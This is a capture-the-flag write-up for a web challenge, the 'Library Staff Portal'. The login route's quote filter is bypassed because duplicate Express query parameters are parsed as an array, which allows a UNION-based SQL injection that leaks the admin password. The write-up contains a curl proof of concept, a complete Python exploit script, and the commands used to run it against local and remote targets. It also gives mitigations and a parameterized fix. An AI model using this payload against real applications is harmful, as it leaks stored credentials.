//Library Staff Portal — Writeup

>TL;DR

• Vulnerability: SQL Injection via a type confusion in the request parameter check: duplicate password query parameters are parsed as an array by Express, bypassing a naive quote filter.

• Impact: Leak of the admin password (FLAG) from the users table.

• Result: Local and remote flags retrieved.

  - Local: TSGCTF{LOCAL_TEST_FLAG}

  - Remote: TSGCTF{s4m3_m3th0d_n4m3_d1ff3r3nt_cl4ss_b3h4v10r}

>Challenge summary

The staff portal has a login endpoint /actions/login. Only the admin user (head-librarian) has the FLAG as their password in an SQLite users table.

Files of interest:

• serve.ts — route implementation for /actions/login (contains filter + SQL construction)

• lib/db.ts — in-memory SQLite DB with admin user inserted with the FLAG value

I analyzed the code locally, reproduced the vulnerability by running the provided Docker image, crafted a PoC to leak the FLAG, tested locally, then ran the same PoC against the remote host and obtained the final flag.

>Root cause analysis

Relevant code from serve.ts:

const query: QueryParams = req.query;

  

if (!query || !query.name || !query.password) {

  return res.status(400).send("bad parameters");

}

if (query.name.includes("'") || query.password.includes("'")) {

  return res.status(400).send("haha nice try");

}

  

const sql = `SELECT name FROM users WHERE name = '${query.name}' AND password = '${query.password}'`;

  

const user = db.query(sql).get() as { name: string } | null;

Why it is exploitable:

• Express will parse repeated query parameter names into an Array, e.g. password=x&password=y → req.query.password === ['x','y'].

• The code uses query.password.includes("'") to block quotes. But when query.password is an array, Array.includes("'") checks whether any element equals "'"; it does not check for a quote appearing inside an element.

• Therefore, sending duplicate password parameters lets one element contain a quote (and an SQL payload), which bypasses the quote check.

• The code then interpolates the (array) value into the SQL string, and SQLite will implicitly cast the array to a string (or the target element is used), allowing classic SQL injection such as UNION SELECT password FROM users-- to leak the password column.

This is a small type confusion combined with unsafe SQL string interpolation.

>Reproduction (Local) — step-by-step

1. Extract the provided archive and inspect server files.

2. Build the provided Docker image (the Dockerfile runs the server under Bun):

cd server

docker build -t tsg-library-server .

1. Start the container with a local FLAG so we can confirm the exploit:

nohup docker run --name tsg-lib -p 3000:3000 -e FLAG='TSGCTF{LOCAL_TEST_FLAG}' -e PORT=3000 tsg-library-server >> local_server.log 2>&1 &

1. Trigger the SQLi by forcing password to be parsed as an array: send the payload in one password field and add another password to ensure an array is produced.

Curl PoC (equivalent to the Python PoC below):

curl -G 'http://127.0.0.1:3000/actions/login' \

  --data-urlencode "name=foo" \

  --data-urlencode "password=x' UNION SELECT password FROM users-- " \

  --data-urlencode "password=bar"

Terminal output (I ran this locally):

Server logs (showing how Express parsed the query object; note password[]):

The server accepted the login and printed the welcome message which contains the FLAG.

>Exploit code

I included a small Python PoC that performs the exploit against an arbitrary host.

File: exploit.py (complete):

#!/usr/bin/env python3

import re

import sys

import urllib.parse

import urllib.request

  
  

def exploit(base_url: str) -> str:

    base_url = base_url.rstrip("/")

    payload = "x' UNION SELECT password FROM users-- "

  

    # Key trick: repeat the same query parameter name to force Express to parse it as an array.

    params = [

        ("name", "foo"),

        ("password", payload),

        ("password", "bar"),

    ]

    qs = urllib.parse.urlencode(params)

    url = f"{base_url}/actions/login?{qs}"

  

    with urllib.request.urlopen(url, timeout=10) as resp:

        body = resp.read().decode("utf-8", errors="replace")

  

    m = re.search(r"TSGCTF\{[^}]+\}", body)

    if m:

        return m.group(0)

  

    return body

  
  

def main() -> None:

    if len(sys.argv) != 2:

        print(f"usage: {sys.argv[0]} http://HOST:PORT", file=sys.stderr)

        raise SystemExit(2)

  

    result = exploit(sys.argv[1])

    print(result)

  
  

if __name__ == "__main__":

    main()

Usage:

python3 exploit.py http://127.0.0.1:3000

# -> TSGCTF{LOCAL_TEST_FLAG}

  

python3 exploit.py http://35.221.67.248:10501

# -> TSGCTF{s4m3_m3th0d_n4m3_d1ff3r3nt_cl4ss_b3h4v10r}

I placed the script at: extracted/exploit.py.

>Remote attack (final)

I ran the same PoC against the remote target provided in the challenge:

That is the real challenge flag.

>Why I tried the array trick (how I got the idea)

• The server logs printed the req.query object (I noticed query [Object: null prototype] ... in logs when experimenting).

• I saw the naive check query.password.includes("'") and recognized that includes behaves differently on strings vs arrays.

• I then deliberately produced duplicated query keys to force an array (common behaviour in many frameworks) and tried an SQL payload inside one element of the array.

• The request bypassed the quote filter and successfully injected UNION SELECT password FROM users which leaks the password column (the FLAG).

This approach is a short, robust path to exploit once you see the quote check + string interpolation into SQL.

>Mitigations & recommendations

• Use parameterized (prepared) statements instead of string interpolation for SQL queries.

• Validate types strictly: ensure req.query.password is a string (and reject arrays), or coerce to a string safely after validation.

• Avoid ad-hoc filtering (e.g., blocking characters) — they are fragile and easy to bypass. Use established parameterization and escaping libraries.

• Add logging and detection for atypical parameter types (arrays where strings are expected) and for suspicious payloads.

Example fix (conceptual):

if (Array.isArray(query.password)) return res.status(400).send('bad parameters');

// use prepared statement

const user = db.query("SELECT name FROM users WHERE name = ? AND password = ?", [query.name, query.password]).get();

>References & further reading

• Express req.query and parsing: https://expressjs.com/

• OWASP SQL Injection Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

• Parameterized queries / prepared statements in SQLite / Bun: check bun:sqlite docs for usage patterns.

>Appendix — Useful terminal output (selected)

• Successful local exploit response:

• Example server log showing request parsing (the array key password[] is visible):

• Remote flag retrieval:

>Final notes

This is a great example of how small type/shape assumptions (expecting a string but getting an array) combined with string-based SQL construction can lead to critical leaks. The exploit is succinct and demonstrates the importance of always using parameterized queries and strict input validation.